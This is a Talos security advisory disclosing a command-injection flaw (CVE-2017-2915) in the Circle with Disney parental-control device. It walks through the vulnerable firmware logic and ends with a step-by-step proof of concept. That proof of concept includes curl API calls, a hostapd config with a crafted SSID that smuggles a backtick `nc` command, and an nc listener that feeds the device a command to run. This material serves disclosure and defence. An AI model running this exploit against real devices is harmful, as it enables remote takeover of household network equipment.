Talos Vulnerability Report

TALOS-2017-0422

Circle with Disney WiFi Restart SSID Parsing Command Injection Vulnerability

October 31, 2017
CVE Number

CVE-2017-2915

Summary

An exploitable vulnerability exists in the WiFi configuration functionality of Circle with Disney running firmware 2.0.1. A specially crafted SSID can cause the device to execute arbitrary shell commands. An attacker needs to send a couple of HTTP requests and setup an access point reachable by the device to trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

https://meetcircle.com/

CVSSv3 Score

9.0 - CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Details

Circle with Disney is a network device used to monitor internet use of children on a given network.

Circle can connect to a home network either via WiFi or wired connection. WiFi is set-up during the initial configuration but can also be modified in a later stage via API commands.

When the wired interface is working, WiFi is not in use. The monitor function sub_40AD84 in the configd binary keeps track of the wired interface connectivity by reading the file /sys/class/net/eth0/carrier every second. If a disconnection is detected (e.g. when the ethernet cable gets disconnected), it tries to switch to the WiFi interface by calling sub_40A9D4. At high level this function works as follow:

def sub_40A9D4():
    ssid = conf_get("wifi/ssid")
    encryption = conf_get("wifi/encryption")
    key = conf_get("wifi/key")
    if !exists("/tmp/ap_list.out"):
        system("/mnt/shares/usr/bin/scripts/aplist_create.sh")                 # [1]
    (channel, security, hidden) = parse_ap_list(ssid)                          # [2]
    write_file("/tmp/wifi_ssid", ssid)
    write_file("/tmp/wifi_ssid_escaped", escape(ssid))
    write_file("/tmp/wifi_password", key)
    system('/mnt/shares/usr/bin/scripts/restart_wifi.sh %s  "%s" "%s" ' % \    # [3]
        (channel, security, hidden))

Note that conf_get refers to the operation of retrieving an element from "configure.xml".

In short, sub_40A9D4 retrieves the configured SSID from "configure.xml", then using parse_ap_list (sub_40A640) [2] retrieves the current channel, security (WPA2, WEP or none) and whether the SSID is hidden or not, from a recent Access Point scan. These parameters are then passed without sanitization to the restart_wifi.sh script using system() [3].

aplist_create.sh [1] will be called if "ap_list.out" doesn't exist, but can be also arbitrarily invoked using the API command /api/SCAN. The contents of aplist_create.sh are:

#!/bin/sh
ifconfig ra0 up
iwinfo ra0 scan > /tmp/ap_list.out      # [4]

iwinfo [4] prints a list of Access Points detected by ra0, every entry has the following form:

Cell 01 - Address: 11:22:33:44:55:66
          ESSID: "valid-ssid"
          Mode: Master  Channel: 1
          Signal: -22 dBm  Quality: 70/70
          Encryption: WPA2 PSK (CCMP)

Then parse_ap_list [2] parses each of these entries in "ap_list.out", to find the expected SSID and returns its related "Encryption" and "Channel" values. At high level it works as follows:

def parse_ap_list(ssid):
    essid_str  = 'ESSID: "%s"' % ssid
    ch_str     = 'Channel: '
    enc_str    = '          Encryption: '
    channel    = ''
    encryption = ''

    aplist = open("/tmp/ap_list.out")
    for line in aplist.next():                                           # for each line in ap_list.out
        if essid_str not in line: continue                               # proceed only with expected SSID
        line = aplist.next()                                             # get next line
        if ch_str in line:
            channel = str(int(line[line.index(ch_str) + len(ch_str):]))  # extract integer after ch_str
        elif enc_str in line:
            encryption = line[line.index(enc_str) + len(enc_str):]       # extract text after enc_str
            return (channel, encryption)
    ...

An SSID field in an 802.11 frame has a maximum length of 32 bytes and can contain any character. Moreover, iwinfo will print the characters found in the SSID without escaping. This means that an attacker may use an SSID containing new-line characters to add arbitrary lines to the iwinfo output.

Example:

"\n          Encryption: custom

If the SSID above is broadcasted, iwinfo will output an entry like the following:

Cell 01 - Address: 11:22:33:44:55:66
          ESSID: ""
          Encryption: custom
          Mode: Master  Channel: 1
          Signal: -22 dBm  Quality: 70/70
          Encryption: WPA2 PSK (CCMP)

This allows an attacker to control the encryption string returned by parse_ap_list, which gets passed to system() at [3]. Since the maximum SSID length is 32 bytes, and the custom string starts at byte 24th, an attacker can inject a maximum of 8 characters.

Exploit Proof-of-Concept

The following proof of concept shows how to run an arbitrary command on the device, in this case the script power_down.sh is executed.

Some conditions need to be satisfied for this PoC to work, even though other less restrictive methods might exist:

- possession of a valid token.
- ability to answer DNS requests originated from the device (e.g. via MITM).
- ability to setup an access point reachable by the device.
- ability to unplug and replug any end of the device's ethernet cable (e.g. power-cycle a connected switch).

Steps:

-- configure the SSID name (empty)
$ curl -k "https://${sIP}:4567/api/UPDATE/wifi/ssid?token=${sToken}&value="

-- configure a hotspot for injection
$ cat << 'EOF' > hostapd.conf
interface=wlan0
channel=1
ssid2=P"\"\n          Encryption: \";`nc *`"
EOF
$ hostapd -B ./hostapd.conf

-- force an AP scan, so that ap_list.out will contain the crafted SSID
$ curl -k "https://${sIP}:4567/api/SCAN?token=${sToken}"

-- make any connection to port 0 be redirected to port 8888
$ iptables -t nat -I PREROUTING -p tcp --dport 0 -j REDIRECT --to-ports 8888

-- listen on port 8888 and send the command to execute on the device
$ echo "/mnt/shares/usr/bin/scripts/circle/power_down.sh" | nc -nlp 8888

-- unplug and replug the ethernet cable, after a few seconds the command above should be executed

The command executed by system() in this case will be

sh -c /mnt/shares/usr/bin/scripts/restart_wifi.sh   "";`nc *`"" "" 

This will in turn execute the command nc *. Execution happens from the directory /tmp/service/configd which has the following contents:

# ls -1 /tmp/service/configd
run
supervise

The command nc * will then expand to nc run supervise:

- "run" is the hostname, and it will generate a DNS request that must be answered with the attacker machine's IP address which is listening on port 8888.
- "supervise" is converted to an int, which corresponds to port 0.

nc will establish a connection with the attacker's machine on port 0, which will be internally redirected to port 8888. After the connection is closed, the output of the conversation will be executed as a command because of the backticks surrounding the nc command.

Timeline

2017-08-29 - Vendor Disclosure
2017-10-31 - Public Release

Credit

Discovered by Claudio Bozzato and Lilith Wyatt <(^_^)> of Cisco Talos.